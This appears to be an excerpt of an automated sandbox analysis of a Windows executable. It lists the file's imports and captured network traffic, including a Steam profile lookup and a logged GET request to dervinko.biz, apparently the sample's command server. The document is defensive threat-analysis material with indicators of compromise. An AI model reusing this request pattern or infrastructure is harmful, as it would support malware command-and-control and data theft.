.reloc	0x59000	0x2554	0x2600	a0a7de2fc21f5b1845c1b665768ca164	False	0.7729235197368421	data	6.576489949652338	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	MultiByteToWideChar, HeapFree, OutputDebugStringA, lstrlenA, Sleep, GetTempPathA, HeapAlloc, GetProcessHeap, GetModuleHandleW, FreeLibrary, GetNativeSystemInfo, ExitProcess, TerminateProcess, OpenProcess, CreateToolhelp32Snapshot, Process32NextW, Process32FirstW, CloseHandle, WideCharToMultiByte, HeapSize, SetEnvironmentVariableW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetOEMCP, GetACP, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetStartupInfoW, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, GetStringTypeW, InitializeCriticalSectionEx, GetProcAddress, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, SetEndOfFile, CreateFileW, GetFileType, GetModuleHandleExW, GetModuleFileNameW, GetStdHandle, WriteFile, GetCommandLineA, GetCommandLineW, SetStdHandle, GetConsoleOutputCP, GetConsoleMode, SetFilePointerEx, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetTimeZoneInformation, FlushFileBuffers, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, WriteConsoleW
SHELL32.dll	SHGetFolderPathA
WININET.dll	InternetWriteFile
SHLWAPI.dll	PathMatchSpecA

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 6, 2024 15:19:55.149740934 CEST	49699	443	192.168.2.6	23.61.62.148
May 6, 2024 15:19:55.149780989 CEST	443	49699	23.61.62.148	192.168.2.6
May 6, 2024 15:19:55.149878979 CEST	49699	443	192.168.2.6	23.61.62.148
May 6, 2024 15:19:55.161875963 CEST	49699	443	192.168.2.6	23.61.62.148
May 6, 2024 15:19:55.161890984 CEST	443	49699	23.61.62.148	192.168.2.6
May 6, 2024 15:19:55.391609907 CEST	443	49699	23.61.62.148	192.168.2.6
May 6, 2024 15:19:55.391819954 CEST	49699	443	192.168.2.6	23.61.62.148
May 6, 2024 15:19:55.444205999 CEST	49699	443	192.168.2.6	23.61.62.148
May 6, 2024 15:19:55.444225073 CEST	443	49699	23.61.62.148	192.168.2.6
May 6, 2024 15:19:55.444700956 CEST	443	49699	23.61.62.148	192.168.2.6
May 6, 2024 15:19:55.444834948 CEST	49699	443	192.168.2.6	23.61.62.148
May 6, 2024 15:19:55.449176073 CEST	49699	443	192.168.2.6	23.61.62.148
May 6, 2024 15:19:55.496125937 CEST	443	49699	23.61.62.148	192.168.2.6
May 6, 2024 15:19:55.838845015 CEST	443	49699	23.61.62.148	192.168.2.6
May 6, 2024 15:19:55.838876009 CEST	443	49699	23.61.62.148	192.168.2.6
May 6, 2024 15:19:55.838912010 CEST	443	49699	23.61.62.148	192.168.2.6
May 6, 2024 15:19:55.839104891 CEST	49699	443	192.168.2.6	23.61.62.148
May 6, 2024 15:19:55.839135885 CEST	443	49699	23.61.62.148	192.168.2.6
May 6, 2024 15:19:55.839184046 CEST	49699	443	192.168.2.6	23.61.62.148
May 6, 2024 15:19:55.962378979 CEST	443	49699	23.61.62.148	192.168.2.6
May 6, 2024 15:19:55.962412119 CEST	443	49699	23.61.62.148	192.168.2.6
May 6, 2024 15:19:55.962541103 CEST	49699	443	192.168.2.6	23.61.62.148
May 6, 2024 15:19:55.962568045 CEST	443	49699	23.61.62.148	192.168.2.6
May 6, 2024 15:19:55.962582111 CEST	49699	443	192.168.2.6	23.61.62.148
May 6, 2024 15:19:55.962610960 CEST	49699	443	192.168.2.6	23.61.62.148
May 6, 2024 15:19:55.967142105 CEST	443	49699	23.61.62.148	192.168.2.6
May 6, 2024 15:19:55.967272043 CEST	49699	443	192.168.2.6	23.61.62.148
May 6, 2024 15:19:55.967281103 CEST	443	49699	23.61.62.148	192.168.2.6
May 6, 2024 15:19:55.967377901 CEST	49699	443	192.168.2.6	23.61.62.148
May 6, 2024 15:19:55.972943068 CEST	49699	443	192.168.2.6	23.61.62.148
May 6, 2024 15:19:55.972974062 CEST	443	49699	23.61.62.148	192.168.2.6
May 6, 2024 15:19:56.155708075 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:56.155756950 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:56.155839920 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:56.156408072 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:56.156419992 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:56.393218040 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:56.393338919 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:56.398700953 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:56.398711920 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:56.399003029 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:56.399066925 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:56.405627012 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:56.448128939 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:56.896373987 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:56.896470070 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:56.896505117 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:56.896516085 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:56.896526098 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:56.896562099 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:56.896565914 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:56.896601915 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:56.896605015 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:56.896637917 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:56.896641016 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:56.896672964 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:56.896675110 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:56.896708012 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:56.896709919 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:56.896742105 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:56.896752119 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:56.896754980 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:56.896773100 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:56.896800995 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:56.896804094 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:56.896837950 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:56.896841049 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:56.896872997 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.005980968 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.006058931 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.006098032 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.006108046 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.006123066 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.006171942 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.006258965 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.006299973 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.006303072 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.006347895 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.006350994 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.006392956 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.006820917 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.006869078 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.006872892 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.006906033 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.006917953 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.006956100 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.006958961 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.006994963 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.007008076 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.007049084 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.007666111 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.007711887 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.007720947 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.007752895 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.007771969 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.007808924 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.007812023 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.007847071 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.007858038 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.007891893 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.007895947 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.007936001 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.008635044 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.008678913 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.008682966 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.008719921 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.008722067 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.008758068 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.008760929 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.008799076 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.008801937 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.008841991 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.118027925 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.118105888 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.118175983 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.118191004 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.118200064 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.118241072 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.118520975 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.118567944 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.118578911 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.118621111 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.118624926 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.118664980 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.118674040 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.118724108 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.120066881 CEST	49700	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.120089054 CEST	443	49700	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.150495052 CEST	49701	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.150538921 CEST	443	49701	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.150618076 CEST	49701	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.150940895 CEST	49701	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.150958061 CEST	443	49701	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.382977009 CEST	443	49701	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.383064032 CEST	49701	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.391374111 CEST	49701	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.391387939 CEST	443	49701	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.391583920 CEST	49701	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.391590118 CEST	443	49701	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.391741991 CEST	49701	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.391746998 CEST	443	49701	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.391766071 CEST	49701	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.391769886 CEST	443	49701	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.902451038 CEST	443	49701	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.902518988 CEST	443	49701	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.902517080 CEST	49701	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.902561903 CEST	49701	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.902628899 CEST	49701	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.902645111 CEST	443	49701	104.21.13.203	192.168.2.6
May 6, 2024 15:19:57.902657986 CEST	49701	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:57.902707100 CEST	49701	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:58.989243031 CEST	49702	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:58.989286900 CEST	443	49702	104.21.13.203	192.168.2.6
May 6, 2024 15:19:58.989367962 CEST	49702	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:58.989629984 CEST	49702	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:58.989645958 CEST	443	49702	104.21.13.203	192.168.2.6
May 6, 2024 15:19:59.218688011 CEST	443	49702	104.21.13.203	192.168.2.6
May 6, 2024 15:19:59.218796968 CEST	49702	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:59.219475985 CEST	49702	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:59.219485044 CEST	443	49702	104.21.13.203	192.168.2.6
May 6, 2024 15:19:59.219710112 CEST	49702	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:59.219713926 CEST	443	49702	104.21.13.203	192.168.2.6
May 6, 2024 15:19:59.219826937 CEST	49702	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:59.219826937 CEST	49702	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:59.219840050 CEST	443	49702	104.21.13.203	192.168.2.6
May 6, 2024 15:19:59.219847918 CEST	443	49702	104.21.13.203	192.168.2.6
May 6, 2024 15:19:59.689073086 CEST	443	49702	104.21.13.203	192.168.2.6
May 6, 2024 15:19:59.689137936 CEST	443	49702	104.21.13.203	192.168.2.6
May 6, 2024 15:19:59.689203978 CEST	49702	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:59.689232111 CEST	49702	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:59.689333916 CEST	49702	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:59.689352989 CEST	443	49702	104.21.13.203	192.168.2.6
May 6, 2024 15:19:59.689371109 CEST	49702	443	192.168.2.6	104.21.13.203
May 6, 2024 15:19:59.689400911 CEST	49702	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:00.870650053 CEST	49703	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:00.870695114 CEST	443	49703	104.21.13.203	192.168.2.6
May 6, 2024 15:20:00.870770931 CEST	49703	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:00.871059895 CEST	49703	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:00.871073961 CEST	443	49703	104.21.13.203	192.168.2.6
May 6, 2024 15:20:01.102880955 CEST	443	49703	104.21.13.203	192.168.2.6
May 6, 2024 15:20:01.103003025 CEST	49703	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:01.103537083 CEST	49703	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:01.103542089 CEST	443	49703	104.21.13.203	192.168.2.6
May 6, 2024 15:20:01.103842020 CEST	49703	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:01.103846073 CEST	443	49703	104.21.13.203	192.168.2.6
May 6, 2024 15:20:01.103965044 CEST	49703	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:01.103977919 CEST	443	49703	104.21.13.203	192.168.2.6
May 6, 2024 15:20:01.104006052 CEST	49703	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:01.104017019 CEST	443	49703	104.21.13.203	192.168.2.6
May 6, 2024 15:20:01.579190969 CEST	443	49703	104.21.13.203	192.168.2.6
May 6, 2024 15:20:01.579260111 CEST	443	49703	104.21.13.203	192.168.2.6
May 6, 2024 15:20:01.579298019 CEST	49703	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:01.579322100 CEST	49703	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:01.579410076 CEST	49703	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:01.579420090 CEST	443	49703	104.21.13.203	192.168.2.6
May 6, 2024 15:20:01.579452991 CEST	49703	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:01.579459906 CEST	49703	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:02.642527103 CEST	49704	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:02.642569065 CEST	443	49704	104.21.13.203	192.168.2.6
May 6, 2024 15:20:02.642692089 CEST	49704	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:02.643079996 CEST	49704	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:02.643090010 CEST	443	49704	104.21.13.203	192.168.2.6
May 6, 2024 15:20:02.871530056 CEST	443	49704	104.21.13.203	192.168.2.6
May 6, 2024 15:20:02.871723890 CEST	49704	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:02.872514009 CEST	49704	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:02.872525930 CEST	443	49704	104.21.13.203	192.168.2.6
May 6, 2024 15:20:02.872864962 CEST	49704	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:02.872869968 CEST	443	49704	104.21.13.203	192.168.2.6
May 6, 2024 15:20:02.873087883 CEST	49704	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:02.873105049 CEST	443	49704	104.21.13.203	192.168.2.6
May 6, 2024 15:20:02.873114109 CEST	49704	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:02.873121977 CEST	443	49704	104.21.13.203	192.168.2.6
May 6, 2024 15:20:03.228497028 CEST	443	49704	104.21.13.203	192.168.2.6
May 6, 2024 15:20:03.228555918 CEST	443	49704	104.21.13.203	192.168.2.6
May 6, 2024 15:20:03.228595018 CEST	49704	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:03.228640079 CEST	49704	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:03.257004023 CEST	49704	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:03.257026911 CEST	443	49704	104.21.13.203	192.168.2.6
May 6, 2024 15:20:03.257047892 CEST	49704	443	192.168.2.6	104.21.13.203
May 6, 2024 15:20:03.257071972 CEST	49704	443	192.168.2.6	104.21.13.203

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 6, 2024 15:19:55.033732891 CEST	62546	53	192.168.2.6	1.1.1.1
May 6, 2024 15:19:55.143752098 CEST	53	62546	1.1.1.1	192.168.2.6
May 6, 2024 15:19:55.987637043 CEST	53986	53	192.168.2.6	1.1.1.1
May 6, 2024 15:19:56.107733011 CEST	53	53986	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 6, 2024 15:19:55.033732891 CEST	192.168.2.6	1.1.1.1	0xa300	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
May 6, 2024 15:19:55.987637043 CEST	192.168.2.6	1.1.1.1	0x52c	Standard query (0)	dervinko.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
May 6, 2024 15:19:55.143752098 CEST	1.1.1.1	192.168.2.6	0xa300	No error (0)	steamcommunity.com	23.61.62.148	A (IP address)	IN (0x0001)	false
May 6, 2024 15:19:56.107733011 CEST	1.1.1.1	192.168.2.6	0x52c	No error (0)	dervinko.biz	104.21.13.203	A (IP address)	IN (0x0001)	false
May 6, 2024 15:19:56.107733011 CEST	1.1.1.1	192.168.2.6	0x52c	No error (0)	dervinko.biz	172.67.133.22	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

dervinko.biz

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49699	23.61.62.148	443	6256	C:\Users\user\Desktop\Gj8P0mbklo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-06 13:19:55 UTC	118	OUT	GET /profiles/76561199609719039 HTTP/1.1 User-Agent: MyApp/1.0 Host: steamcommunity.com Cache-Control: no-cache
2024-05-06 13:19:55 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 06 May 2024 13:19:55 GMT Content-Length: 34789 Connection: close Set-Cookie: sessionid=7ef34606fccdc72e192e6b4f; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C468fb9988c4683f3fae869b70d5335fe; Path=/; Secure; HttpOnly; SameSite=None
2024-05-06 13:19:55 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-05-06 13:19:55 UTC	16384	IN	Data Raw: 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 73 75 70 65 72 6e 61 76 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0d 0a 09 09 09 09 09 53 55 50 50 4f 52 54 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 09 09 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 09 09 24 28 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 27 29 2e 76 5f 74 6f 6f 6c 74 69 70 28 7b 27 6c 6f 63 61 74 69 6f 6e 27 3a 27 62 6f 74 74 6f 6d 27 2c 20 27 64 65 73 74 72 6f 79 57 Data Ascii: <a class="menuitem supernav" href="https://help.steampowered.com/en/">SUPPORT</a></div><script type="text/javascript">jQuery(function($) {$('#global_header .supernav').v_tooltip({'location':'bottom', 'destroyW
2024-05-06 13:19:55 UTC	3768	IN	Data Raw: 09 3c 73 70 61 6e 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 49 6e 69 74 50 72 6f 66 69 6c 65 53 75 6d 6d 61 72 79 28 20 67 5f 72 67 50 72 6f 66 69 6c 65 44 61 74 61 5b 27 73 75 6d 6d 61 72 79 27 Data Ascii: <span data-panel="{"focusable":true,"clickOnActivate":true}" class="whiteLink" class="whiteLink">View more info</span></div><script type="text/javascript"> $J( function() { InitProfileSummary( g_rgProfileData['summary'
2024-05-06 13:19:55 UTC	123	IN	Data Raw: 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 0d 0a 09 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: </div></div></div>... responsive_page_content --></div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49700	104.21.13.203	443	6256	C:\Users\user\Desktop\Gj8P0mbklo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-06 13:19:56 UTC	126	OUT	GET /ujs/89737b57-777d-400d-bb7f-77b7e024920e HTTP/1.1 User-Agent: MyApp/1.0 Host: dervinko.biz Cache-Control: no-cache
